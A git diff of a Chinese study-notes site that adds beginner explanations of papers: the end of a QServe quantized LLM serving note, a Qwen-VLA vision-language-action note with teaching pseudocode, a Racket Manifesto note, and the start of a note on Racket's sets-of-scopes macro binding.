+- 后续工作如 **LServe**（同仓库 OmniServe）把长上下文稀疏 attention 与 QServe 量化栈统一，说明这条路线还在演进。
+
+---
+
+## 自测题
+
+1. **W4A8KV4** 每个字母分别指什么？为什么作者不选 W4A4？
+2. 论文说 GEMM **main loop overhead** 主要来自哪两类 CUDA Core 操作？
+3. **Progressive group quantization** 两级分别是什么精度？protective range 服务于哪条 kernel 计算顺序？
+4. **SmoothAttention** 如何做到不改变 attention 数学结果却改善 KV4 精度？
+5. 为什么 KV4 attention 在 A100 上朴素实现会反而慢于 KV8？QServe 的对策是什么？
+6. QServe 与 [[paged-attention-vllm]] 在 KV 存储上的相同点与不同点是什么？
+
+<details>
+<summary>参考答案</summary>
+
+1. W4=4-bit 权重，A8=8-bit 激活，KV4=4-bit KV cache。W4A4 激活也 4-bit，per-group 反量化更重，大 batch 下主循环 CUDA Core 开销常抵消理论收益。
+2. **Weight/partial-sum dequantization**（scale/zero）与 **指针算术/非连续加载** 导致的地址计算。
+3. 先 per-channel INT8，再 per-group INT4；protective range 支持 **先乘 scale 再减 zero**，配合寄存器级并行。
+4. 对 Key 通道乘 \(\Lambda^{-1}\)、Query 乘 \(\Lambda\)，保持 \(QK^T\) 不变，压缩 K 的 outlier 动态范围；scale 融合进投影权重。
+5. batch 增大使 attention 算术强度升高，从 memory-bound 变 compute-bound，KV4 省带宽优势变小而反量化开销凸显；QServe 优化 KV4 decode kernel 与 fusion，推迟 roofline 转折点，保持 memory-bound。
+6. 相同：都用 paged KV 减碎片。不同：QServe 用 **per-head 动态 KV4** 与 page 内 FP16 scale/zero；vLLM 传统实现多为 FP16 或静态 KV8。
+
+</details>
+
+---
+
+## 延伸阅读
+
+- 论文：[arXiv:2405.04532](https://arxiv.org/abs/2405.04532)
+- 代码：[github.com/mit-han-lab/omniserve](https://github.com/mit-han-lab/omniserve)（QServe + LServe）
+- 基线：[TensorRT-LLM](https://github.com/NVIDIA/TensorRT-LLM)
+- 相关量化：SmoothQuant（激活平滑）、AWQ（权重）、QuaRot（W4A4 旋转量化）
+- 相关系统：[[paged-attention-vllm]]、[[flashattention-2]]、[[llm-serving-needs-math]]
+
+---
+
+## 小结
+
+QServe 教给零基础读者最重要的一课：**量化 serving 不是「把位数变少」就结束，而是「慢速核心上的拆包税」决定大 batch 吞吐。** QoQ 用 W4A8KV4 和 progressive quantization、SmoothAttention 保住精度并减轻反量化；QServe 用 weight reorder、寄存器级并行和 KV4 attention 协同，把理论算力省下的账兑现成 **相对 TensorRT-LLM 最高约 3.5× 的实测吞吐**。读论文时建议对照 Figure 3（roofline）、Figure 8（block 精度图）、Figure 9–10（GEMM 主循环）——三张图串起全文主线。
diff --git a/src/content/docs/papers/quic.md b/src/content/docs/papers/quic.md
index 0c432d5f0..d566a5c01 100644
--- a/src/content/docs/papers/quic.md
+++ b/src/content/docs/papers/quic.md
@@ -161,6 +161,7 @@ QUIC 是 TCP 在 1981 年成为互联网传输支柱后第一次被严肃挑战
 - [[io-uring]] —— io_uring — Linux 让 N 次 IO 摊销到 1 次 syscall
 - [[jacobson-1988]] —— Jacobson 1988 — 让互联网不再被自己塞死
 - [[mptcp-2012]] —— MPTCP 2012 — 把一根 TCP 管道变成多条并行水管
+- [[noise-protocol-framework]] —— Noise Protocol Framework — 用「握手配方」拼出端到端加密通道
 - [[paxos]] —— Paxos — 分布式共识算法
 - [[rtp-rfc-1889]] —— RTP RFC 1889 — 让 UDP 也能跑实时音视频
 - [[saltzer-1984-e2e]] —— End-to-End Arguments — 把功能尽量推到端上做
diff --git a/src/content/docs/papers/qwen-vla.md b/src/content/docs/papers/qwen-vla.md
new file mode 100644
index 000000000..3970373ea
--- /dev/null
+++ b/src/content/docs/papers/qwen-vla.md
@@ -0,0 +1,435 @@
+---
+title: Qwen-VLA — 跨任务、环境与具身的统一视觉-语言-动作建模
+来源: 'Qwen Team, "Qwen-VLA: Unifying Vision-Language-Action Modeling across Tasks, Environments, and Robot Embodiments", arXiv:2605.30280, 2026; https://arxiv.org/abs/2605.30280; https://github.com/QwenLM/Qwen-VLA'
+日期: 2026-06-13
+子分类: 模型与训练
+分类: 机器学习
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：一个「会看、会听、会动手」的通才教练
+
+想象你请了一位私人教练，目标是教会不同学员完成各种身体任务：
+
+- 学员 A 是**双臂桌面机器人**，要学「把红杯子放到盘子里」；
+- 学员 B 是**移动底盘**，要学「沿走廊走到厨房再左转」；
+- 学员 C 是**第一人称视角的人类演示者**，录像里只有手和物体，没有关节角读数。
+
+传统做法像**每个学员配一个专属教练**：抓取的教练只懂 7 自由度机械臂，导航教练只懂离散转向，换机器人就要换模型、换输出头、换数据格式。结果是：在 LIBERO 上很强，到了真实 ALOHA 双臂平台或 R2R 导航就「不会了」。
+
+**Qwen-VLA** 想走另一条路：**一位通才教练，同一套大脑（权重），靠「今天你是谁、任务是什么、控制约定怎样」的文字说明来切换模式**。教练先「看懂场景 + 听懂指令」，再输出**连续动作轨迹**——不是离散 token「向左」，而是「未来 0.5 秒内关节角/末端位姿/导航航点怎么变」。
+
+论文核心主张：**操作（manipulation）、视觉-语言导航（VLN）、轨迹预测、人类 egocentric 演示，都可以放进同一个「动作-轨迹预测空间」里学**；再通过 **embodiment-aware prompt conditioning**（具身感知提示）告诉模型当前是 WidowX、ALOHA 还是导航 agent，而**不需要为每个平台单独做 output head**。
+
+官方实现：Qwen3.5-4B 视觉-语言骨干 + 约 1.15B 参数的 **DiT flow-matching action decoder**。
+
+---
+
+## 是什么
+
+**Qwen-VLA** 是阿里 Qwen 团队 2026 年发布的**统一具身基础模型（unified embodied foundation model）**，把 Qwen 多模态栈从「感知、理解、推理」延伸到「连续动作与轨迹生成」。
+
+输入典型包括：
+
+| 模态 | 例子 |
+|------|------|
+| 视觉 | 第三人称相机、腕部相机、导航 RGB |
+| 语言 | 「把绿色球放进碗里」「沿走廊走到沙发旁」 |
+| 具身条件 | 文本描述：机器人型号、控制频率、动作维度、坐标系约定 |
+
+输出：**下一时刻或未来窗口内的连续 action / trajectory**（经 flow matching 解码）。
+
+两个主要 checkpoint：
+
+- **Qwen-VLA-Base**：大规模联合预训练后的基座；
+- **Qwen-VLA-Instruct**：在 Base 上经 SFT + 仿真 RL（PPO）后的指令跟随/闭环策略版。
+
+---
+
+## 为什么重要
+
+### 1. 从「技能专家」到「通才演员」
+
+具身智能长期按任务切模型：一个 LIBERO 专用策略、一个 R2R 导航模型、一个 ALOHA 微调版。Qwen-VLA-Instruct **只训练一次、多平台联合评估**，在多项 benchmark 上**匹配或超过**各自单独微调的专家模型。
+
+### 2. 统一表示降低碎片化
+
+ manipulation 的 joint delta、navigation 的 waypoint、egocentric 的手部轨迹，被映射到**共享的动作-轨迹空间**。好处是：视觉 grounding、空间推理、语言对齐可以在任务间迁移。
+
+### 3. 强 OOD 与零样本动态操作
+
+论文报告：真实 ALOHA 上 OOD 平均成功率 **76.9%**（颜色/实例/位置/背景/指令变化）；DOMINO 动态抓取 benchmark 上**零样本**成功率 **26.6%**，说明模型学到的不只是固定桌面模板。
+
+---
+
+## 核心概念
+
+### 1. Vision-Language-Action（VLA）
+
+**VLA** = 多模态大模型 + **动作头**。与纯 VLM 的区别：VLM 输出文本；VLA 输出**可执行的控制信号**（连续向量序列）。
+
+Qwen-VLA 的数据流（概念上）：
+
+```
+[图像/视频帧] + [语言指令] + [具身描述 prompt]
+        ↓
+   Qwen3.5-4B VLM（理解场景与目标）
+        ↓
+   DiT Action Decoder（flow matching 生成轨迹）
+        ↓
+   连续 action chunk → 机器人控制器 / 导航栈
+```
+
+### 2. 统一动作-轨迹框架（Unified Action-and-Trajectory Framework）
+
+不同任务的历史标签格式各异（7-DoF delta、SE(2) waypoint、人手 6D pose…）。Qwen-VLA 在训练前把它们**规范化到统一维度/时间窗**（具体 padding、mask、时间对齐见论文与代码），使**一个 decoder** 预测所有类型。
+
+直觉：就像把所有运动都录成「同一套骨骼动画格式」，再让同一个生成模型去学。
+
+### 3. Embodiment-Aware Prompt Conditioning
+
+切换机器人**不改权重**，只在 prompt 前拼接描述，例如：
+
+- 控制类型：joint position / end-effector delta / holonomic base；
+- 动作维度、控制频率、相机视角说明；
+- 平台名称：WidowX、ALOHA bimanual、导航 agent 等。
+
+这让**一套参数服务多 embodiment**，避免「每平台一个 head」的工程负担。
+
+### 4. DiT + Flow Matching 动作解码器
+
+**DiT**（Diffusion Transformer）在这里作 **flow-matching policy head**：从噪声逐步「流」向目标动作轨迹，比直接回归高维向量更稳定，也便于建模多模态动作分布（同一指令多种可行抓取姿态）。
+
+与离散 autoregressive action token 相比，flow matching 更适合**高维连续控制**。
+
+### 5. 四阶段渐进训练（Progressive Training Recipe）
+
+官方博客与论文强调「先语言→动作结构，再视觉落地，再任务微调，再闭环 RL」：
+
+| 阶段 | 名称 | 要点 |
+|------|------|------|
+| I | **T2A**（Text-to-Action） | **冻结 VLM**，只训 action decoder；纯文本+具身 prompt → 动作轨迹，建立「语言解压到控制」的 prior |
+| II | **CPT**（Continual Pretraining） | **解冻 VLM + decoder**，混合机器人轨迹、egocentric 人类数据、仿真合成、VLN、通用 VLM 数据 → **Qwen-VLA-Base** |
+| III | **SFT** | 多任务监督微调（操作+导航+VQA+空间 grounding）；另有一条真实机器人遥操作分支 |
+| IV | **RL** | 从 SFT  checkpoint 在 **SimplerEnv** 上用 **PPO** 优化任务成功；产出 **Qwen-VLA-Instruct**；论文称 RL 增益可迁移到未见环境与 embodiment |
+
+### 6. 预训练数据版图（五类来源）
+
+1. **机器人操作轨迹**：公开 >1 万小时 + 内部 >1000 小时真机 + >800 万条仿真轨迹；
+2. **人类 egocentric**：Ego4D、EPIC-KITCHENS、EgoDex、EgoVerse、Xperience 等；
+3. **合成仿真**：vision-conditioned 与 text-to-action 大规模模板轨迹；
+4. **视觉-语言导航**：R2R/RxR 等长 horizon 指令跟随；
+5. **通用 VLM 数据 + 细粒度动作描述**：约 4.8 万条、13 维标注，对齐自然语言与执行细节。
+
+---
+
+## 架构一图流
+
+```text
+                    ┌─────────────────────────────────────┐
+                    │  Embodiment prompt（文本前缀）       │
+                    │  e.g. "ALOHA dual-arm, 14-dim..."   │
+                    └─────────────────┬───────────────────┘
+                                      │
+  Camera RGB ──► Qwen3.5-4B VLM ◄── Language instruction
+       │              │
+       │              │ hidden states / cross-attn cond
+       ▼              ▼
+              DiT Flow-Matching Decoder
+                       │
+                       ▼
+              Action trajectory chunk
+              (continuous, horizon H)
+                       │
+                       ▼
+              Low-level controller / VLN executor
+```
+
+---
+
+## 关键实验数字（便于建立直觉）
+
+**Qwen-VLA-Instruct（统一通才，非 per-benchmark 单独微调）**：
+
+| 领域 | Benchmark | 指标 | 结果 |
+|------|-----------|------|------|
+| 桌面操作 | LIBERO | 成功率 | **97.9%** |
+| 仿真操作 | Simpler-WidowX | 成功率 | **73.7%** |
+| 双任务难度 | RoboTwin-Easy / Hard | 成功率 | **86.1% / 87.2%** |
+| 室内导航 | R2R Val-Unseen | OSR / SR | **69.0% / 57.5%** |
+| 多语言导航 | RxR Val-Unseen | SR | **59.6%** |
+| 真机 ALOHA | 多任务 OOD 平均 | 成功率 | **76.9%** |
+| 动态抓取 | DOMINO（零样本） | SR | **26.6%** |
+
+对比语境：许多 baseline 是**每个 benchmark 单独微调的专家**；Qwen-VLA 是**一次联合训练的多任务通才**。
+
+---
+
+## 代码示例 1：Embodiment-Aware Prompt 与统一推理接口
+
+下面用**伪代码**说明「换机器人只改 prompt、不改模型」的用法（与 OpenVLA / RT-2 类接口类似，便于零基础理解；非官方 verbatim API）：
+
+```python
+from dataclasses import dataclass
+from typing import Any
+
+import numpy as np
+import torch
+
+
+@dataclass(frozen=True)
+class EmbodimentSpec:
+    """描述当前机器人与控制约定 —— 会写进文本 prompt。"""
+    name: str
+    action_dim: int
+    control_hz: float
+    action_space: str  # "joint_delta" | "ee_delta" | "waypoint_se2"
+    cameras: tuple[str, ...]
+
+
+EMBODIMENTS = {
+    "widowx": EmbodimentSpec(
+        name="WidowX 250 7-DoF manipulator",
+        action_dim=7,
+        control_hz=5.0,
+        action_space="ee_delta",
+        cameras=("third_person", "wrist"),
+    ),
+    "aloha": EmbodimentSpec(
+        name="ALOHA bimanual dual-arm",
+        action_dim=14,
+        control_hz=50.0,
+        action_space="joint_delta",
+        cameras=("cam_high", "cam_left_wrist", "cam_right_wrist"),
+    ),
+    "vln_agent": EmbodimentSpec(
+        name="Habitat VLN-CE mobile agent",
+        action_dim=3,  # e.g. (forward, turn, stop) or continuous waypoint
+        control_hz=2.0,
+        action_space="waypoint_se2",
+        cameras=("rgb_front",),
+    ),
+}
+
+
+def build_embodiment_prompt(spec: EmbodimentSpec) -> str:
+    """论文中的 embodiment-aware conditioning：纯文本前缀。"""
+    cams = ", ".join(spec.cameras)
+    return (
+        f"[Embodiment] Platform: {spec.name}. "
+        f"Action space: {spec.action_space}. "
+        f"Action dimension: {spec.action_dim}. "
+        f"Control frequency: {spec.control_hz} Hz. "
+        f"Camera views: {cams}. "
+        f"Predict the next action chunk in the unified trajectory format."
+    )
+
+
+class QwenVLAClient:
+    """概念性客户端：同一 checkpoint，不同 embodiment 字符串。"""
+
+    def __init__(self, checkpoint: str, device: str = "cuda"):
+        self.device = device
+        # 真实使用时从 HuggingFace / ModelScope 加载
+        self.model = self._load(checkpoint)
+
+    def _load(self, checkpoint: str) -> Any:
+        raise NotImplementedError("load Qwen-VLA weights here")
+
+    @torch.inference_mode()
+    def predict_action_chunk(
+        self,
+        images: dict[str, np.ndarray],
+        instruction: str,
+        embodiment_key: str,
+        horizon: int = 16,
+    ) -> np.ndarray:
+        spec = EMBODIMENTS[embodiment_key]
+        prompt = build_embodiment_prompt(spec) + f"\n[Task] {instruction}"
+
+        # VLM 编码视觉+语言；DiT decoder 做 flow-matching 采样
+        cond = self.model.encode(images=images, text=prompt)
+        traj = self.model.sample_actions(
+            cond,
+            action_dim=spec.action_dim,
+            horizon=horizon,
+            num_flow_steps=10,
+        )
+        return traj.cpu().numpy()  # shape: (horizon, action_dim)
+
+
+# --- 同一模型，两种任务 ---
+client = QwenVLAClient("Qwen/Qwen-VLA-Instruct")
+
+pick_traj = client.predict_action_chunk(
+    images={"third_person": img_desk, "wrist": img_wrist},
+    instruction="Pick up the green ball and place it in the bowl.",
+    embodiment_key="widowx",
+)
+
+nav_traj = client.predict_action_chunk(
+    images={"rgb_front": img_hallway},
+    instruction="Walk down the corridor and stop near the couch.",
+    embodiment_key="vln_agent",
+    horizon=8,
+)
+```
+
+**读代码要点**：
+
+- `EmbodimentSpec` → 文本前缀，告诉模型「动作向量有几维、什么语义」；
+- `predict_action_chunk` 返回的是**一段轨迹**，通常只执行前几步再 replan（receding horizon）；
+- `widowx` 与 `vln_agent` 共用 `self.model` 权重，差异仅在 prompt 与 `action_dim`。
+
+---
+
+## 代码示例 2：Flow-Matching 动作解码（训练与采样直觉）
+
+Flow matching 学习向量场 \(v_\theta(x_t, t \mid \text{cond})\)，把噪声 \(x_0 \sim \mathcal{N}(0, I)\) 「推」向真实动作 \(x_1\)。下面是**教学用简化版**，帮助理解 DiT decoder 在干什么（非官方实现）：
+
+```python
+import torch
+import torch.nn as nn
+
+
+class ActionFlowMatchingHead(nn.Module):
+    """极简 flow-matching 头：cond 来自 VLM hidden states。"""
+
+    def __init__(self, action_dim: int, horizon: int, cond_dim: int, hidden: int = 512):
+        super().__init__()
+        self.action_dim = action_dim
+        self.horizon = horizon
+        flat = action_dim * horizon
+        self.net = nn.Sequential(
+            nn.Linear(flat + cond_dim + 1, hidden),  # +1 for time t
+            nn.SiLU(),
+            nn.Linear(hidden, hidden),
+            nn.SiLU(),
+            nn.Linear(hidden, flat),
+        )
+
+    def forward(self, x_t: torch.Tensor, t: torch.Tensor, cond: torch.Tensor) -> torch.Tensor:
+        """
+        x_t: (B, H, A) 当前噪声轨迹
+        t:   (B, 1) 时间 in [0, 1]
+        cond:(B, C) VLM 条件向量
+        返回预测速度场 v，shape 与 x_t 相同
+        """
+        b = x_t.shape[0]
+        x_flat = x_t.reshape(b, -1)
+        inp = torch.cat([x_flat, cond, t], dim=-1)
+        v_flat = self.net(inp)
+        return v_flat.reshape_as(x_t)
+
+
+def flow_matching_loss(
+    head: ActionFlowMatchingHead,
+    action_target: torch.Tensor,
+    cond: torch.Tensor,
+) -> torch.Tensor:
+    """单步 CFM 损失：随机 t，线性插值路径，回归 v = x1 - x0。"""
+    b = action_target.shape[0]
+    x1 = action_target  #  ground-truth action chunk
+    x0 = torch.randn_like(x1)
+    t = torch.rand(b, 1, device=x1.device)
+    # 广播 t 到 (B, H, A)
+    t_expand = t.view(b, 1, 1)
+    x_t = (1 - t_expand) * x0 + t_expand * x1
+    v_target = x1 - x0
+    v_pred = head(x_t, t, cond)
+    return nn.functional.mse_loss(v_pred, v_target)
+
+
+@torch.no_grad()
+def sample_action_chunk(
+    head: ActionFlowMatchingHead,
+    cond: torch.Tensor,
+    action_dim: int,
+    horizon: int,
+    steps: int = 10,
+) -> torch.Tensor:
+    """Euler 积分：从噪声积分到 t=1。"""
+    b = cond.shape[0]
+    x = torch.randn(b, horizon, action_dim, device=cond.device)
+    dt = 1.0 / steps
+    for i in range(steps):
+        t = torch.full((b, 1), i / steps, device=cond.device)
+        v = head(x, t, cond)
+        x = x + dt * v
+    return x
+
+
+# --- 训练一步（Stage II CPT / Stage III SFT 中的 decoder 部分）---
+head = ActionFlowMatchingHead(action_dim=7, horizon=16, cond_dim=2048)
+batch_actions = torch.randn(8, 16, 7)   # 来自统一格式后的 demonstration
+batch_cond = torch.randn(8, 2048)       # 来自 Qwen VLM
+
+loss = flow_matching_loss(head, batch_actions, batch_cond)
+loss.backward()
+
+# --- 推理 ---
+pred = sample_action_chunk(head, batch_cond[:1], action_dim=7, horizon=16)
+```
+
+**与 Qwen-VLA 的对应关系**：
+
+- 真实系统用 **DiT** 替代上面的小 MLP，规模约 **1.15B**；
+- **Stage I T2A** 可在**无图像**时用 `cond` 仅来自文本 embedding 预训 decoder；
+- **Stage II** 起 `cond` 来自完整 VLM 多模态融合；
+- **Stage IV RL** 在仿真里用 PPO 优化「执行 pred 轨迹后的任务成功」，而不是只最小化 MSE。
+
+---
+
+## 与其他 VLA / 机器人基础模型的对比（概念层）
+
+| 维度 | 典型专家策略（π₀、GR00T 单任务版等） | Qwen-VLA |
+|------|--------------------------------------|----------|
+| 任务范围 | 常以 manipulation 为主 | manipulation + VLN + 轨迹预测 + egocentric |
+| 多平台 | 常需 per-robot 微调或专用 head | 文本 embodiment prompt，共享权重 |
+| 骨干 | 各自 VLM / 专用架构 | Qwen3.5-4B 统一多模态栈 |
+| 动作生成 | diffusion / flow / MLP 各异 | DiT flow-matching decoder |
+| 训练范式 | 多为 SFT 或单域 RL | T2A → CPT → SFT → RL 四阶段 |
+
+Qwen-VLA 不是要证明「一个模型在所有单项上都是 SOTA」，而是证明：**统一建模在多项上可以同时接近专家，并在 OOD 与跨 embodiment 上更省工程、更可扩展**。
+
+---
+
+## 局限与开放问题（论文语境下的诚实边界）
+
+1. **长 horizon 与失败恢复**：四阶段训练仍主要在仿真 RL；真实世界长任务、抓取失败后的重规划仍是开放问题。
+2. **动态与接触丰富场景**：DOMINO 零样本 26.6% 有亮点，但距离可靠工业部署仍有差距。
+3. **安全与 sim-to-real**：统一 prompt 切换 embodiment 时，若 prompt 写错控制约定，可能产生危险动作——工程上需要外层安全壳与标定。
+4. **算力与延迟**：4B VLM + 1.15B DiT 对边缘机载计算机是负担；实际部署需 distillation 或 action chunk 异步执行。
+5. **数据许可与复现**：部分内部真机数据未公开，复现绝对数字需关注官方后续权重与 eval 脚本发布情况。
+
+---
+
+## 零基础速记卡
+
+| 术语 | 一句话 |
+|------|--------|
+| VLA | 看+听→直接输出机器人动作，而不只是文字 |
+| Unified action-trajectory space | 不同任务的动作都变成同一种张量格式来学 |
+| Embodiment prompt | 用文本告诉模型「你是哪种机器人、动作几维」 |
+| DiT + flow matching | 用扩散式生成器产出平滑、多模态可行的连续轨迹 |
+| T2A | 先不用图像，学会「语言→动作结构」 |
+| Qwen-VLA-Instruct | Base + SFT + 仿真 RL 后的「能闭环做任务」版本 |
+
+---
+
+## 进一步阅读
+
+- 论文：[arXiv:2605.30280](https://arxiv.org/abs/2605.30280)
+- 代码与 benchmark 表：[GitHub QwenLM/Qwen-VLA](https://github.com/QwenLM/Qwen-VLA)
+- 官方博客：[Qwen-VLA: From Understanding the World to Acting in It](https://qwen.ai/blog?id=qwenvla)
+- 前置了解：Qwen3.5 多模态骨干、LIBERO / SimplerEnv / VLN-CE (R2R, RxR) benchmark 定义
+
+---
+
+## 小结
+
+Qwen-VLA 回答的是一个很大但很自然的问题：**能不能像通才一样，用同一套视觉-语言-动作模型，同时做抓取、导航、跨机器人控制？**
+
+论文给出的答案是：**可以**——通过统一动作-轨迹空间、具身感知文本条件、大规模异构数据联合预训练，以及从 T2A 到 RL 的渐进 recipe，把 Qwen 的「理解世界」延伸到「在世界中行动」。对初学者，最值得带走的是两个设计：**不要把 embodiment 写死在网络结构里（写进 prompt）**，以及**不要把操作和导航拆成两个永远不相见的小模型（拆成同一 decoder 的不同轨迹格式）**。
+
+如果你已有 Qwen-VL 使用经验，迁移到 Qwen-VLA 的心智模型很简单：**多模态 chat 的最后一步，从生成 UTF-8 文本换成生成 float32 动作向量序列**——其余的数据混合、prompt 工程与 sim-to-real 护栏，才是具身智能真正难的地方。
diff --git a/src/content/docs/papers/racket-2018-tour.md b/src/content/docs/papers/racket-2018-tour.md
new file mode 100644
index 000000000..885389d37
--- /dev/null
+++ b/src/content/docs/papers/racket-2018-tour.md
@@ -0,0 +1,186 @@
+---
+title: The Racket Manifesto — 零基础学习笔记
+来源: https://www.cs.utah.edu/plt/publications/snapl15-fffkbmt.pdf
+日期: 2026-06-13
+分类: 编程语言
+子分类: 类型与 PL 理论
+provenance: pipeline-v3
+---
+
+# The Racket Manifesto — 零基础学习笔记
+
+## 一、为什么要学 Racket？
+
+想象一下，你正在学做菜。大多数编程语言就像「预制菜」——厨师（语言设计者）已经帮你把菜谱定好了，你只能照着做：煎、炒、炖、煮，不能改。
+
+Racket 的理念完全不同。它说：**你为什么不自己发明一道新菜？**
+
+Racket 不只是一个编程语言，它是一个「编程语言工厂」。你可以在 Racket 里创造一种全新的语言，让它看起来和用起来都像 Racket 天生就支持的一样。
+
+这就是 The Racket Manifesto 的核心主张：**编程语言不应该是一成不变的，而应该是可以组合、可以扩展的库。**
+
+## 二、核心概念
+
+### 1. 语言即库（Languages as Libraries）
+
+这是整个宣言最重要的概念。
+
+在大多数语言里，语法是硬编码的。你想加一个 `for-each` 循环？对不起，得等语言设计者更新编译器。
+
+但在 Racket 里，语法可以通过「宏」（macro）系统来扩展。宏不是简单的文本替换，而是一种**编译时的程序**。你可以写一段代码，这段代码在编译时运行，生成新的代码结构。
+
+类比：宏就像是乐高积木的说明书。你可以用现有的积木块拼出全新的形状，而不仅仅是说明书上画的那几种。
+
+### 2. 卫生宏（Hygienic Macros）
+
+Racket 的宏系统是「卫生」的。什么意思？
+
+想象你在写一个宏，定义了一个变量叫 `temp`。如果这个宏被用在其他地方，恰好也有一个 `temp` 变量，会不会冲突？卫生宏保证不会。它会自动给变量加上唯一的「标签」，就像给每个人发不同编号的工牌。
+
+### 3. `#lang` 指令
+
+Racket 用 `#lang` 来决定一个文件用什么语言来运行。这看起来简单，但威力巨大。
+
+```racket
+#lang racket
+```
+
+上面这行告诉 Racket：用标准的 Racket 语言来运行这个文件。
+
+但你可以换成：
+
+```racket
+#lang typed/racket
+```
+
+这就变成了「有类型检查的 Racket」。或者：
+
+```racket
+#lang lazy
+```
+
+这就变成了「惰性求值的 Racket」。
+
+甚至，你可以写：
+
+```racket
+#lang my-custom-language
+```
+
+然后 Racket 就会去找一个叫 `my-custom-language` 的语言定义来运行你的代码。**这意味着你可以完全自定义一门语言。**
+
+### 4. 契约系统（Contracts）
+
+Racket 有一个独特的功能叫「契约」。你可以给函数加上「合同」，规定输入必须是什么类型、输出必须满足什么条件。如果有人违反了合同，Racket 会立刻报错并告诉你谁违约了。
+
+类比：契约就像快递的保价服务。寄件人承诺包裹完好，收件人承诺及时签收。任何一方违约，系统都知道责任在哪一方。
+
+## 三、代码示例
+
+### 示例 1：最简单的 Racket 程序
+
+```racket
+#lang racket
+
+;; 计算阶乘
+(define (factorial n)
+  (if (zero? n)
+      1
+      (* n (factorial (- n 1)))))
+
+;; 调用并打印结果
+(displayln (factorial 5))
+;; 输出: 120
+```
+
+这段代码展示了 Racket 的基本语法：
+
+- `#lang racket` 声明使用标准 Racket 语言
+- `define` 用来定义函数
+- `if` 是条件表达式，格式为 `(if 条件 真值 假值)`
+- 所有表达式都用括号包围，这是 Lisp 家族的标志性语法
+- `displayln` 用来打印输出
+
+理解要点：Racket 没有 `return` 关键字。每个函数最后表达式的值就是返回值。
+
+### 示例 2：用宏创建一个新的控制结构
+
+这是最能体现 Racket 威力的例子。我们来自己造一个 `unless` 语句：
+
+```racket
+#lang racket
+
+;; 定义一个宏：unless（除非...否则...）
+(define-syntax unless
+  (syntax-rules ()
+    [(_ condition body ...)
+     (if (not condition)
+         (begin body ...))]))
+
+;; 使用我们刚创造的 unless
+(unless (> 5 10)
+  (displayln "5 不大于 10，所以执行这里"))
+
+;; 输出: 5 不大于 10，所以执行这里
+```
+
+解释：
+
+- `define-syntax` 定义了名为 `unless` 的新语法
+- `syntax-rules` 是宏的模式匹配规则
+- `[(_ condition body ...)]` 表示匹配 `unless` 后面跟一个条件和任意数量的 body 代码
+- `(if (not condition) (begin body ...))` 表示：如果条件为假，就执行 body 里的所有代码
+
+通过这个宏，我们创造了一个 Racket 原本没有的关键字！而且它看起来和用起来就像内置的一样。
+
+### 示例 3：带类型检查的 Typed Racket
+
+```racket
+#lang typed/racket
+
+;; 定义一个有类型的阶乘函数
+(: fact (Integer -> Integer))
+(define (fact n : Integer) : Integer
+  (if (zero? n)
+      1
+      (* n (fact (- n 1)))))
+
+;; 调用
+(displayln (fact 6))
+;; 输出: 720
+```
+
+Typed Racket 允许你在需要的地方加上类型注解。它不是像 Java 那样要求所有变量都有类型，而是「渐进式」的——你可以只给关键函数加类型，其余代码保持动态类型。
+
+## 四、Racket 的实际应用
+
+| 应用场景 | 说明 |
+|---------|------|
+| 计算机科学教育 | ProgramByDesign 项目用 Racket 教高中生编程 |
+| 领域特定语言 | 可以用 Racket 快速创建专门解决某个问题的语言 |
+| Web 开发 | Hacker News 网站就是用 Arc（基于 Racket）写的 |
+| 游戏脚本 | Naughty Dog（《最后生还者》开发商）用 Racket 做游戏脚本语言 |
+| 文档生成 | Scribble 是 Racket 自带的文档系统，用代码写文档 |
+
+## 五、关键人物
+
+The Racket Manifesto 的作者团队包括：
+
+- **Matthias Felleisen** — PLT Inc. 创始人，Racket 项目的核心推动者
+- **Matthew Flatt** — Racket 核心系统的长期维护者
+- **Robert Bruce Findler** — 契约系统和类型系统的贡献者
+- **Shriram Krishnamurthi** — 编程语言教育和宏系统研究者
+- **Eli Barzilay** — Lazy Racket 和 Scribble 的创建者
+- **Jay McCarthy** — 模块系统和包管理器的设计者
+- **Sam Tobin-Hochstadt** — Typed Racket 的主要作者
+
+## 六、学习建议
+
+1. **先安装 Racket**：去 racket-lang.org 下载安装，它会同时安装 DrRacket IDE
+2. **从 DrRacket 开始**：它有一个「语言级别」功能，可以逐步解锁更高级的特性，非常适合零基础
+3. **不要怕括号**：Lisp 家族的括号看起来吓人，但它们是语法的一部分，就像中文的标点符号一样自然
+4. **动手写宏**：当你掌握了基本语法后，试着写一个简单的宏，比如 `when`（当...时执行），你会感受到 Racket 的真正力量
+
+## 七、一句话总结
+
+Racket 不是一个让你「写程序」的语言，它是一个让你「设计语言」的平台。它的哲学是：如果你想要的功能不在语言里，那就自己造一个。
diff --git a/src/content/docs/papers/racket-macros-flatt-2016.md b/src/content/docs/papers/racket-macros-flatt-2016.md
new file mode 100644
index 000000000..d2a8b2503
--- /dev/null
+++ b/src/content/docs/papers/racket-macros-flatt-2016.md
@@ -0,0 +1,152 @@
+---
+title: Binding as Sets of Scopes — Racket 宏系统的全新作用域模型
+来源: https://www.cs.utah.edu/plt/scope-sets/
+日期: 2026-06-13
+分类: 编程语言
+子分类: 类型与 PL 理论
+provenance: pipeline-v3
+---
+
+## 是什么
+
+这篇论文（Flatt, POPL 2016）为 Racket 宏展开器设计了一个全新的绑定模型：**每个标识符不再携带一个被重命名过的名字，而是携带一组"作用域令牌"（scope set）。绑定解析变成集合包含关系判断。**
+
+日常类比：想象一个办公楼，每层楼是一个"作用域"。你在 3 楼写了张便条 "x = 5"，这张便条就带有 {3楼} 的标记。如果你把便条带到 5 楼的会议室，它就变成了 {3楼, 5楼}。当你看到另一张便条写着 "x" 并且也带有 {3楼} 时，你知道这两张便条指的是同一个 x。但如果另一张便条只带有 {5楼}，它就不匹配——因为它在更高层定义了一个不同的 x。
+
+传统方法（重命名法）的做法是：每次宏展开就给变量起个新名字（比如 `x.123`），然后维护一张"谁被改名成了什么"的历史记录。这套机制在简单场景下工作良好，但遇到递归定义、宏生成宏时就会变得极其笨拙，而且很难实现 `datum->syntax` 这种"弯曲 hygiene"的操作——因为你得把整条改名历史 replay 到一个新符号上。
+
+集合论方法彻底抛弃了改名思路：**标识符的名字保持不变，变化的是它携带的作用域集合。**
+
+## 核心概念
+
+### 1. 作用域令牌（Scope Token）
+
+每一个绑定形式（`let`、`lambda`、`let-syntax`、宏展开）都会创建一个新的、唯一的、不可见的令牌。这个令牌没有实际含义，只是一个标签，用来区分不同的绑定上下文。
+
+```
+(let ([x 1])          → 创建令牌 a_let
